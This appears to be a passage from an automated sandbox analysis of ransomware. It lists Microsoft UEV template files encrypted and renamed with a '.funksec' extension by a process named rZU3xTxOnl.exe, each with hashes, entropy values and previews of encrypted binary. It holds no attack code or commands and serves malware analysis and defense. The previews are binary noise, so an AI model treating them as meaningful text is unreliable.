                                                                                                                                SHA-512:AE9057DFC56EA459C8B5CE013F200C19012B241B29F6BAD72F832CBAD8B754F0AD59547AE6F9D9F1FA2BD3F2B962C40E6D970D342AB0FE48838CE89F502B4ABC
                                                                                                                                Malicious:false
                                                                                                                                Preview:..P.[.B$..h..4../.W....P.4.;.K.S...z.].op...........R...a..-.....L...s@.~..2..bj..8~...1..<........*......W.......p.T.].} ..g.)....US5uDN<.;x]).6....$+...q_4...Rw-|....g&...*...{.Db..q&^MCk..o. .....'..p.....l.,..<b.....l....~.......J..@4..9...|0.eq...|...l..dI..G..............?......W.W.r.......g....W[;qC.5.i>S5.#....(....z.{.^...IL....03...p.......'.FW.5.^p...`.+g.j.x .Y....l."../$...T......1..,.....K..V<..'...=..sw...n....z..NR..A....>.....H...*....a...$.y*W.#..y....ZFatX./.,6H&.>...^g"...%Pt.T...DY....d{...q30...h.#..Q.%?i.O...f.....B.."..Q.!..+.4..\.^.-.....0..~...A...aI.w...qC`.?...nb...E..@E..z.....:.......#....+.I.F.|....g.f.....Q.}.;).;.D7.%...."....j.7.A...HEN...#z...*.A...Wew.T..j}2.8..`.Uk..4x.R.a..nS.....cJ.......... ...@..H0..i...|]QHb..Wb...z..U...K........................Uq:.|.f....MW3~R...94S5.%H..:yG..^#<4.V..D*!A...,....`:..D.....r.z..."..\KI...s}......Zt@..i{C.[.}..t....1........B......+...|]M&?..yd...g.hu........+.....VE....

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):3523
                                                                                                                                Entropy (8bit):7.91395630630345
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:ht5rN14DG4gVT9szwcWRNAexNTIbHvbYa8iKCB:hTNqDpgVT9szwZRCux9S
                                                                                                                                MD5:20679072732C18900E38F4EF9AB6C3E7
                                                                                                                                SHA1:17784CEE625849814ED6CBBF913494982955B510
                                                                                                                                SHA-256:3C071C3406D06DFD29E47618746A8FA7249A4114FC8C832177848B0CCA30639E
                                                                                                                                SHA-512:97C7DADD65F4F6A5D347B2A14C7E9C59AA8698E715AD8F927E9F54AF637390E41723DCEA1725B9CBF16B6005EBDCD6833D76D2832AE8A926F0F1426C6FEF6912
                                                                                                                                Malicious:false
                                                                                                                                Preview:TG....vZ.Wq.&..I`q.=.+.vq...>..#.Y.5R.-...V....f..K...9.*6.{........[..:..e,..|......3..VU^S.I....U5.w.tA.{...n.z...L[........Z....nM.(b.Q.....n...:..Y....z.u....J..l}=...M.T:.N.........A..0.Q.....m..n. ....G..aO.f\.8.....d..........{4..1!..z......g.W..A(.3.N..6\.8..`L.t.....f.../X..........M....qO.&f.....R.r.../..\....>.t..... ."m=....D.|..Y....l.d*...!.P.yg8.."5.{^e........F.M...+.A.........~`..+i..|.......C.W...".U..xK.u.sL.f...j.l.@..t.............kB.|c.....Z.a...$..P....u.`...#5.qv4..E..O.9;.....6..J....._..........D....].7..;......*.N........P.',..Od.......).W"....*.R..5O.y.2@.y...Ac.}....F.........F....j..3j\$...q.p.../..n....;.n../)J0)c..M...U.|......#.....e.t...D....)..E.-....$V...~...7..........~`.{D..3.......V.....c.R..*Q.l..jH.z..FI.j.............}...}S./h../..Q.n...2..J..).9.r....yh.9r..M....d........$....w..P.....jenrKiI6G7..."4..Il...-......... .gq..7&..........I...S.I....dq.u..QW.x...5n.}

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):5480
                                                                                                                                Entropy (8bit):7.928889140421356
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:wp4l414KyiNi2RtjYcfZYjgt1aHifAA/PmvsY0CCD6lgxwnDez6i9p5Kus6qQ0:wYtKl1VYCZYj3CIA/PTYNCmlgWDez7H+
                                                                                                                                MD5:09E0B71AE9185E7FC752948DDA540836
                                                                                                                                SHA1:68C7A19724BA21C457AAB93BBE26EAC85C026D5F
                                                                                                                                SHA-256:10612ACFCE7FC0EE1963FD18D7496CE6D1076BB145EC595D58C5F6DEB808BAC1
                                                                                                                                SHA-512:523A7F1F05B139487D1C3C498E10CF01BA7989F0D9C6FA3B2A5CDB9038EA32C8C279FF15F157DAC8CEEB7AB231BC7AF4BC65761C3ABECD90C556A8A4BACB9942
                                                                                                                                Malicious:false
                                                                                                                                Preview:.'}....]..F+ .R_.=.........p...T$y..a.A.o...)X@.;.-6/..,`ig.1..)..d....de......~N...ga.h.9zn.....;=S/....nOg..%~....|.........yr.-Gk.=R...&...2..dM..M.8.....E....r!...e=...ew.%.....d.$...3)..@........F.H.+.L..M.1......*.m.w.vx.d.V+..}.&..j"......yU...#`.[.d*q.vx.Q.u0F7...cSh...,o6.............ee.:Jt.?Z...o..Qt..dX...I.=....;......yB;...2(...?E....cH..... s....P...T.J.L.T.`...%1i...D...A...V0c*.~..{..m.0..><......oS...1`.`.rx=.mi.Jy~~Q7...cCz.(z,.F.m....P....@<.+Mb.2G..e...|..0E.....1....p.....tW'...f`...>..3DP..ub...).&EW...t....^.ob...#..|..7tX..7....s.y1z%.]..0#.6Ut..rl.........1}.i.M72.za.MBu3U>.._oKe...os+...'....A.....un.*M`..P...S...W..!^..G......>F.....xKg.V. a...e.Z.O.\.D.8...Z[....X..rR...3..N......2.....Y.`[.j.c.~i.e..5>.f..../w......TF....}.|.r77..D.Mu0l.c...1vKl...m;c.".E..W....u..h.:V.w...&@M'w..-C....v....6E....7.....w=.../.L...X+*.J.-...1..N.....q.0e:.....A..F..M.U.._....0.16.c..>..5jH..ju.......I..{w.c.t68.o|.Q8u&@n...rHh...@...

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):3993
                                                                                                                                Entropy (8bit):7.924689374593764
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:FqCSFumS0QNtRWifB7lzSAPxqyXs4LEZ1uA/LDNWGjHBx5:YFuEEfB7hLqyXs4cuAF9/
                                                                                                                                MD5:3948807CCC9B7F59AFEA7F57D505B6EA
                                                                                                                                SHA1:C13F784AF0D8C228D59A1B11FDF6AC2E57832B04
                                                                                                                                SHA-256:12ECC0AC7CD5EA5B6E778AB30FFF79F536A2F1C422F7A64961AB1C5295DBA154
                                                                                                                                SHA-512:4A0B799F7580216AFC48B13A8D29A7A9FB708F78600D90BBB289E7119EF25F58C067A187E74FE242600856894C47728EB07CAFF819A7FFE06935942848915560
                                                                                                                                Malicious:false
                                                                                                                                Preview:Y8....|.#.h.G...).t%....^..F:.4.P...n.%^..h..H..Rj......w..T|..g.....!...).X...NJ...".<...9.v.&.;@.:.X.._..=7x$...|....;s.....*B...3.Hy.H.J.^.}C...=.......P..S.%.....F.....1..c.Lb.f...< ..?.AGh...O.....<.w.rW.!@XKf[......b...h..R9..a.....f..../.C....K....#.l.`.2YE....:.U..T..4&18......5e....dU...1.F}...KA..aC...q."..........q.J$..V....8.u.B.Dn........a.\..Q.^.&...g.X?..D..tC."vt....>.K.....:.P|..`.....x.....).E....K...i.o.w.q.4R.h.B.?.U.....03+2..p.....10..MzD...<..x...H...r......m....._....h.G1..M...9..."0<...)..S.d<j.'.1+....7.......C.Q..}....a.|...5..Kw..j\.....(.....Ki....V...V.`.`.j..YFl.N.6.Y..V..w:,#...:...5c.....eE...q.Sq.=.@.;.c....?.(..........q.K-...^.. ...uAE.L'...5....D.$.S.F...@!!.D+....M..g....e...y.Kv..k.....3.....z-P...!V...i.e.4.|.8..,G..{..U.Q..i}.6..............yY..8&._..Y.r...!_..o.G.C.<......;..l.P.....Y.....tw................=xe...D...$T... J....P4..K+....y.Q|...k.....A...5]<..L....\.o.z.h.ePRr...+..W.Q..;352

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):3993
                                                                                                                                Entropy (8bit):7.92366638054134
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:QbWHEl9I5dR3QjqcS0Hifw869jp39mjM62exehNSaMo:QbWkle5fcS0Yw86j5cjT2exehNSu
                                                                                                                                MD5:C841E7405151E10DFE27FAE5FD8ACBCB
                                                                                                                                SHA1:B4909787091B3CCE547277D18DAAF1EA67BB01D7
                                                                                                                                SHA-256:6992995E62EB1EBF058102484D7597EAFE906035275676B5C02E7EF7575288D7
                                                                                                                                SHA-512:BDFE820CB24DFF65C24B9AFDF36C8320740A9BC4D0AFAF41277FEE9326485CAB39B7F572CE292C1F6CFB5C77EC3B63FA20A6C7E35464DBBA6DF5A0B25C1FF13B
                                                                                                                                Malicious:false
                                                                                                                                Preview:..;..{`...=.E..hD..@D.L./...y?..,.4Nn.....wL..O. .1.)..C.....6s.U.W.........Rx<... d..u..<..`.O..d......b.6.e7f.p/.......FA.[....l.+G..z.r.Z..CIN2..r..s.{.....=.....l..b..W...C..K.su...n...b.D...y@.l.g..|..d..I.....W.]d.X.......06.T.N...G......T.'...de.+..#.i........Q...o.9.,9o.93.........HW.J..{.4X..t.u.S.|.GR2.g...n.}......iv....|..w..^Bt.r..ss...I..r..Z...P.......3.{z.....EKW..;1...\<.......2s.O.^...B......Ri!...ve..?.o.r.....I......o.+.5/k.#9O.....L..j....j."B....n.I.9.\Af..l...s.dP....Gpv..g..?.._C^f.e.....a.o.#nO.....7.7..m9.....0...C.V..\..F.......)x.o...........0.i...vx..+..`.e............c.4.6~,.$(......HQ.B...k. CZ.a...O..&PPw.g...n.`......iv....8I.>..F........]O.%.B`......@........I...H}......c...K._.......)y.r.U...W........R4...Ox..7..e.1&....[.B../.:.1j2..=......m..F...w.2{..m.1...5......F...'.B......#.....z..~.?f..Y>.nN3.8 %.^..1..#r..:..._...D.RAC.7..b.FB\........3s...2...........N"X..."1..d..o........._...'...)&`.=9

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1365
                                                                                                                                Entropy (8bit):7.84275128561743
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:c2X+CAbrwCYyOKIqvSB9aOd8bYSjVLGoy8wLufiW/RL9nYWcGUUYz0/0sxJ6Qa:c2XaboyKR9Y8SjVoIz/RVdFUU0ypP6H
                                                                                                                                MD5:002BE9B7D4A5F586E6CE5138D749897F
                                                                                                                                SHA1:45AF18BFAC66579168E3F6DC0CC379E7EB067EBC
                                                                                                                                SHA-256:276FA2633F5F60DAFB2ADB079F37352389C5F65167AD887E07ECCA595EE04481
                                                                                                                                SHA-512:EFE79962C89B5E5A4E0A8619755738EBDD2C0EFA1B3EE5F3791422F39DE58198A20B30FE43B0AA68B8C3C1ED45E708960A1C7F4ABE479B5C58585B83E88A2F02
                                                                                                                                Malicious:false
                                                                                                                                Preview:.~.$.:.N.NwQ....?.3..b..y3..U-..>...qpx..<....$t..,P..U.c...._..zETw.De..........p.\.+.....dn....4.l8e%qF.D........n.E."].Z.......Y...........(.,.Zm0...."...>tP...........^..H...6.(W.kN#@."S..........4.W}.....c~.K..Xl.D8.........|\S...k..^.......:.4...u...r...7*Y...{.l,h9~M.J..\....m.E.,K.K.......W...C.....0.`.Vh-.....#...ZDJU.......A.t.U...}....S"X.....z.f.-..4.X.AK.....n/%B..X.8. ......._..}LU8..?..D.....:.&.A.a..WX..,,R...6.i?h)l..\..F.... ....(.6k..G..............7.n..d0....7...WQV........@;..,A.._.`...q...WT..g."6...*..C.7...;B.[HZ..~.F6......T.%w..|.Ms. ...a.,.&.F.u..XV..+.Y...:.`~d!sO....A....s...,MMC......B.E........1...\Z-....9...[M.G........'.T.HJ.|:...ol.&X.<....V.k"...X......S..?.6\.q.M,......U.8vGJ&....'...%..,...K.i..]C..1&L..t.d3yr.+....q.....o.....Q.K.........'.J.........iTo.\~7....Z....FLZ.....lOx...u.Bu..W...s.2.....Pv....Q..VV.V}.....A*H.I.8..c.....I.a...j.Uk..C.........'x.B..cr.,/Y...>..T<l?.....G.

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):100121
                                                                                                                                Entropy (8bit):7.948189818437562
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:IEaYDOYbC8WDvfdfK6ppdecTBnaycD6uDyGvNtH8VY9HAEFDPD58PKY/Y3wFb7R/:IE1O8eFLrBWxBvlvPd8SYFxspXhxouc
                                                                                                                                MD5:A8D807562FE7CB9AAF1C08A29574DC6E
                                                                                                                                SHA1:9BB2339F3ACCA7C627DAB5E87A7FF98DCD373D79
                                                                                                                                SHA-256:416A0D5EB74C02794245136B42E521216AFC052CF128A84A5DF9D2DD203CB066
                                                                                                                                SHA-512:D633C64FF9746BBFB79E1B946772A5F268BCC75F154365EF6A4CA61B879244252CA288CC9C0DCB41AFB5BE6883A3B2E77C251C92145494B412B7B49DB21374C0
                                                                                                                                Malicious:false
                                                                                                                                Preview:.I(.q..z.e.ja...L....)........7^..c...#..$....YG..;E9z..`...W@c.\..)|.p..7..m..B.J...I.p.X.......P..i9Hx .O..|...>7`hw!!O.o.X.(|08eg..JHT..t.].G0...m}....o. ...T...H..B.b*..=....FD..O>...j..,$....? <._.Vy..*...t.....o.C&eh.....H_`.Z..(z.w..b..&....L...].4../....nt*..-q+...}..q...w9iy>=*....^.(s>.wv..].C..k.U.C7...?;....z..,..._....].n&.xd..j........Y..^K...e....^.....y..h........pBCk..e+.'j.^...].b.X..3{.q..gW. ..M.J..G].&.E....Do;..+ze...[..q...n/ml$7dH.c[2.|x:{QV....R..q.HYF,...z3.....q..c..........n+.d7..>.......6"lDB...,..d..@....*.y..&.....d..Y..;..C.4....D.0.C...q.,..>..B...(..4K.&.B....Jx3...q(..._.X}...m~*e#&4..).\.m}>(*~..V.S..p._.Ol...m....z.&6..O....H.n'.$v.Px....F....'.k-....#....+..{Q}.i.a*-...6..[.X.@.......@Nn.C...p.n..rF.q.......K...O..._,...-w R_...X-\..|*|$k}.Z.cE2.(0c.@-.G.O..b.s.D*..E/lY...-...$..o...!.D.h&..N.Aj..._W.y}...R....}.Oh.a.4..m5.G.._Avk..*......... E...BBa.y...|.y..)m."..!....G....O......#...I.eRM....w...p}94k}

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):100121
                                                                                                                                Entropy (8bit):7.953924125578445
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:+xib/ORPEdR7EMG/C+x4tYmJEh/q8d6xaKXWOTvZ:JbOR+7EMBQ4tL8d6xHN
                                                                                                                                MD5:F8A0BA783388F326B9204A22EAB4C72A
                                                                                                                                SHA1:60F18DD288C8AEC75FD6D96512AB9AB9772D0BD4
                                                                                                                                SHA-256:F0892BAB4BD060C8FAF2D78493C954648BC3A47141B38B6517AD1E749359607F
                                                                                                                                SHA-512:FDC141D2EFAF906A7D181EF5C77139C75F1B65912DCB4DD375103C6F1D24C47CA1E1A0D79D100A7B3F3D505FE54C5F1DE81D9BF68DDFBCCE5BD0ED2664127C84
                                                                                                                                Malicious:false
                                                                                                                                Preview:...8..`.O..l.A./.T...F#..K.uVF.b.<.......=..............W..I.C.-..r..+.....%-R-z6$..6u.T.....Ry.w......*..$...`..J.Oy.o........#..r.NP...Ac....b...!B...N0.1p.WQ.....3t.2.g..._Na.F./..Nh..Od...^w.dx...I.i$....W.Dn....~.._Hy.H..JKE..,..u..~.D....+U6{"v..bF........=......'../..q....3.L..`.......L....p.@T.[.@1V...w.....$_.....~te@35.....da.(.=.....k.@i3..,.$.`Q|.~.!.6...>e.1P.Y%.M.Z.\.O...,.....HQG..7..s..{.Z...$-C04"|.+}.........;.Z......'..c...d....[.....k.....R.)..}..Q.Q.Ct^...j.....(B...Apj~?Y38.....0)...<,?.,...ZW...l.........]....k.sh...Ca#v]..q.MV{.....r\...I...".....xO<xG4m.,t. .............+..-...m......R}..n......M.)..0.UX.g.Kcu...q....._....3dkp@34...XYv(.$.g.^. .c.T......r...w...V.....|......'M..g.u+{.BOp.$..DJ\....l..n.....f~x%y4'.!a.......=.......{..n..,...S.....#P....P.5..j.\S.Q..!.F..m.........NcN~|Y55..HHd'...~...R|_..W....F...+.7.J......S.....0....`D7.R;..N.T....K.f.*..{..5.R...Lb.d4mP..!|......MY.Z.....!..,...<..

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):18128
                                                                                                                                Entropy (8bit):7.931671342729872
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:7JRa7DnKWIykt5Xm4XCxsnDiC9xJm4bFnZ+2k3Z2YUiS:NRQnDIy34ySDi6Lm4bL+mYpS
                                                                                                                                MD5:31B9EC926962C56D9F3D6B849F03BA62
                                                                                                                                SHA1:302893A034D4472C2663124560F9CDA6DCCB5C84
                                                                                                                                SHA-256:8589F8F36FB236D837C055EA3EE3CAD04C34690B4948EDA7A6982F7E10F2A532
                                                                                                                                SHA-512:1B09363AABF464D92B81DAA2115BEB3031E3B4933CB06E20A659FD518F44584B30837C71570757AFFCDFC3D5C435942FC402666ADA584AB553AB68EE21995B19
                                                                                                                                Malicious:false
                                                                                                                                Preview:...1.....BdK...w.M.PQk.Q...+.}.....U.q...1..'?zA]....".P..*..3 .....m).o$.%...m..........H.\.3.._.O.....X..9.......J..YR.:C)...I.,o.:E.R..1H....Wd^..z....[............H.......ys.#.....J....K.......m .+n:... .C.\.j...v..}......;to"g.?...P..........e...;..{.K...........Y..Y[.T_..h.uE.....f;..E....c..,..t]hA..y.....J....W..n.......s..O....HZE.8...K.V...2.!3.}.W.Fxq.c..N......?C...K..vn.......hE$h.u...o..........#...h.............M..\E....E.ZQ..v.......<;..E....c..E..}.h\..q.t..$...Df.h........B7=..V4...0.....u5.Ba.r..K.....(..}..!.....,:.../..h_.....bW9m.,.......I...+./.3..W.X.....R..........E.TP..$........q.%H....$t...K[eZ..v.5......Df.h.....pMe`'0S....!...IB.k.FL.........'...)2..K....?L...L..f.vn....3aW:e.....g.....).... .Q.x..u.E....._.....S)...Tv.....8.}V.....qW.2B.....6C....u[hR..q.g...D....Dz.-.....~?.:NE..I.....Z.YudF,.:...b...j`.x.........!<P\.fR...(..y.......|'.m$.w...c....x....e.\.3..E.Z..d......M..@

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):18128
                                                                                                                                Entropy (8bit):7.945479888715811
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:Up+weo6qcMNAESIOpqEG5/K3UK3Vx0F4e8jUZNkIfeJeUtBii3iBLU:UpTkANAE5C3UK3Vhe8o3GxwiSBLU
                                                                                                                                MD5:3E10D55F9BB37E4D4D2A5EDF3F0B4B56
                                                                                                                                SHA1:C50357AAB1D7AB74A077D359B440D0CA504DC2D8
                                                                                                                                SHA-256:ACB86094A6D0DA62388436D45B73F3A2B4EFB9AA09765E2B1921D095B1C802C8
                                                                                                                                SHA-512:EFB82FBE1DEA191F36C12EEC526C836D965D11C3452C2DBD8E103FF9FAF25311D4BDAA6C34D6DD1C9FAA37DE96D7C17A330336206577080A826DEA6B61B66950
                                                                                                                                Malicious:false
                                                                                                                                Preview:...K..t....`"...y."t0{/!v...$.....dS...Uqk....1....f.(...b.A....5....E}_..S.......YT...>.B. R..*c..s..kT.Cp.X6s......._&.h.1.Z...4qp!..JD.. ].r....J.Mx..Oe..`.\bs8o.......Aq....W....nY.hH. ....l....h.....^..-@#....}..O.5.......9...J. #.[W............1.m.>....k..W..jw.Ow...{....\..5.G.<......#<6&...g..k.........Gt...Sf..v.Mn$f=.......U.y...K~aO.q..V>.xL..f.k.c/.:R....|..F.....L.).L...^. >....5...t.<..TSI. ....XY?..v.0.q9..8..:..[w.M~..T...... .Wc.F.2......z715...g..k.......w..t...Sn..;TZ#.6v,..........t..0..a.v..58|E.EM..5=W...;IW.3.......`q...D..h.D[....|...'6..QX.......DVYJ.C...{1...c..{..qv.sh.R1o.......Uh.c.3..D....x;1&..J[..~@......V.Ay...Hi.L.n.+6v,.......BKrB..8.D..o*Rp..`..0,......iFS.#.;..]O.]5).'&^.u,..:.......=...w.5..YD............\...}:..L(.Y..uw.|V._<o......R8......X...@?27.]L..|s.~.....[.At...Sn..]^.Cn([..c......ud.?d .J.T.1.siU.I........7..Qv-.[......'..[.d.....C..u.CP...1....TsO...K.........T...@.>...+c..i..a&.*1..y=....

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):14604
                                                                                                                                Entropy (8bit):7.944284141452041
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:rmVwobxC0j2EVqgcl9jeYMiqUy4hlNE53o:CV1bx7zS1eYMiPyqNio
                                                                                                                                MD5:D38CC05378B1BA51AFCC502639B36497
                                                                                                                                SHA1:3B8A2B741B2C9B6F9E6AB8563D629B1FD9B1BEE9
                                                                                                                                SHA-256:A329D521B5AB297613E55466B5F19C0AE046161CBAE4AB8F6297B221D582D7D0
                                                                                                                                SHA-512:3773EDC0874A52F1B67F5A2A0A54E96D2AC9D228E90787E3C9F45C18A75A26E3F5FC03070F92D555D5AF7B9B385A958D143D5D9C0E22305E2BF614F2908B0BD0
                                                                                                                                Malicious:false
                                                                                                                                Preview:.o.X.Y...~..E....A[.*.....1:....h.@.F.&a"r+..&...r....0.....'.....c.0.0.W...M...)..M$p....W...V..[%D0.H&,.>=.nE.,.0.>./...T.".h2#..MRU..zM.F....A..k..'[bu.U..W...T.tj....g...^..~....].....5..xQ{u2........l.....V.q(..38..Fu.C|.A...6..]..x.d.fs+.[.W.......jd....x..!`..S4...L'..2:.'e...>.r.k..v.*.6ux...@I..{L...[..G.u...@|3U9c..V...~.{f...?X...[.....!...$Rs.t6.AH.UX.....I,b3.F.%l;.....t..6...>.y...;.6.o..-.Bo..W..y..`.FLHd......n2c.[%D0.H&\..=.b..r.}Kr.....V.!.;,d...ep..9..}....L.I$..{Kdw>>....S..xi....A....W.......&...,yK.vK0G.M.r9.@#.......u.A....-.Y......'.#....'.....e.j.?.m....T......ck.......q,*.Y.I7.G'..4&.sC...;.>.>...K.:.;d...O..O.pK.x....M..b...fV3.Z ....Oc.zf....0f....w....=J9.-K"...X....,_1i.$J.?....Gv...6.......(......9.....m.h.Li..W.L.......ca......Q.,.X8^>G{:.....)..;...=.{...M.#.4b"...G*^.q..!.T....WJ..zL.an.....S..Oj....|.......#.......8...X...gNP..c*..........\.7L..j...(......s..!..x.l.d\*.[.L...4.).`l....@..].,.S>^eH.4..cQ.'..X.}K

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):14604
                                                                                                                                Entropy (8bit):7.937938316461283
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:l2fhoiXUp7GPOtBlcmQOn8OKSQk2hrx2vB4DmBIk:l2fh9UFGPOTlc1OZAmt
                                                                                                                                MD5:435D7DE992CD107AAF7056797EB9D9D6
                                                                                                                                SHA1:80B3C1CBFF20CB2AFFB8AF00E4411985D79B26EA
                                                                                                                                SHA-256:7BB0AB9C9666B747BF1DBE4D8A2C90435832EC9D534266D1A0EE86E0A0288C00
                                                                                                                                SHA-512:9FDE546BB95C05FD4973B4359CA551A2D8AE45CB038F28496AC5ACDA917E04B4FB947AAA79FE39AE667E0B54EE11FEDD40709D03A0F9B8EBD7F36B838AEE1EB1
                                                                                                                                Malicious:false
                                                                                                                                Preview:..-......J.'BDe.|...- ..q.3.....=....9,......je.L&h...Q=.K.'l....w/.Ca..I....0....Kj....G...P..'E-.!.....v.0..T.......{H.$.r.v.%.Df=......U.y=....p........i.c.E./.Gy-.NS..4...}.u..[..6...g...........]..V.....#....%p...D.../-.lS...bH....m{..<.I...$.:7..._j....r....b..ma*. ....V....A..Q..H.q@.zJ)E7.7._8<.....Q.5_...E.2.2.....C.g.Q.#.A.K..h..1...H.IZ-.<.....yA.....;.&1..]& .c.i.W.......B.f..mq:k....~@....92.1 .K..@.tC...._s.......P..'E-.!s...'.nY....(....zK.w.5:F...K5~......S.5c....,.....u...3.s.,.VH..ZA..=.RtB.....z.>7V..~P..W..C.y.. WA ..m..?ZZ........tz`.\...mZ....wu.LB..I..m.h3...Pj.T......m..*B . ....p..G.E.....8.rP.w[U.g.s..e7......N.e;....1..r..._.../.R.#.Pn..1-..x.D.R-..V@....v.\..2..n...b..K.g.&3g.-.*.......|=..{dQR.R..f....kw.?&.T...+..0...Z>.M....l..=Kc.= ...).'..P..A....~I.x]s.q.0..a6........7}....-......_...3.../.Mo..E...x.D.q..N...W_5.-/...^..u......S.Lq..P.Z..R....{dM"@v..97....ns....O...>.2....W}.~..V..n..=.l.3;....9.DY..

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):94071
                                                                                                                                Entropy (8bit):7.94352489981034
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:tv0YAZ8iCgcNNLOdByaeRbJBIj8AG+Y+RzUuYtXlHufbOiZyFluGo+73F:SYAZ83gcfLOdByaeR9BIgAxY+REtXlHj
                                                                                                                                MD5:EFBB955DACD6B412586D2963B1D1893A
                                                                                                                                SHA1:D936294D38E181872D5BBFE6C441BE3B469C6870
                                                                                                                                SHA-256:810238E75976B97DEFBC46B9086AAF09AB2B8D8E2A37377080066ECFC3468941
                                                                                                                                SHA-512:D53F822C75A95C01002E70C6E9EF20DA3C78000D5E562A37ED4F00F77267B10ECD59BA98A861C14C488489B618BD5068CB43B97EBFA968ABF04193A9DDB95CF1
                                                                                                                                Malicious:false
                                                                                                                                Preview:..@.y%zcu...{l)....W..F...]..2.%.LG.q.5...|Hi..e...l..WZTB6.h.. ...k..tR..E..|.[...Q4..t..t.._...^V%......M.*F.........u.......H.*..z.........X..6...9.q..W...Ls...a$%.!...Z...`#....T...WOC.W...h^=.|^lH3PY`.W-..u.......z..]).k..e...l..!\.\...R.\....p..G..$...%V...5L.]...B.cH........s.........=..w.......C.Y..8...,.u..J....<...5@A";....O_..........$c.../.[."4.s.t...Mg.Z'I.....9...B#..v.......<.i.. ....j..$..Z...}.J....b..|..v_..4G...{[.....P.z^..........H..F....d..p...._..I.Z..#...'.8..W...C3..,@L7'....]...D9..0R.<x..Z..M...J...:.3.lOh.<P...>.[`..N....S......%.;..+..Y7..}D.8o.!.5...b..u..9P..<\...6_.....O.y........q.Y.....H.6..p..J...Z..R../...,.{..J....p...5@@+g.Y...m...5....U...bT...x..:.........].....Fh.E...'g.y....1!.e..*...u..1...h.?.q...R[..`..9U...U...>..M......h[..B.......V./.l.'..l.......I....d....{.7....v.L ...,FA{E.I........Fo@wy|..*..YX>R...T.o..:c.H.Yv~...lIh...H/X......#.j.. ....b..j2.X.......%R..}..9]..w..y{..]....J.d...;

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):94071
                                                                                                                                Entropy (8bit):7.951097194274414
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:5twwIyZ05vhKX1Oe59fmSSlYotsUWY3URd1EkIJh93MskUEINJU/EJPVVwJ+MW/z:TwwxZ055KXIQ9+xRtbWmIE5KQEIMgtVr
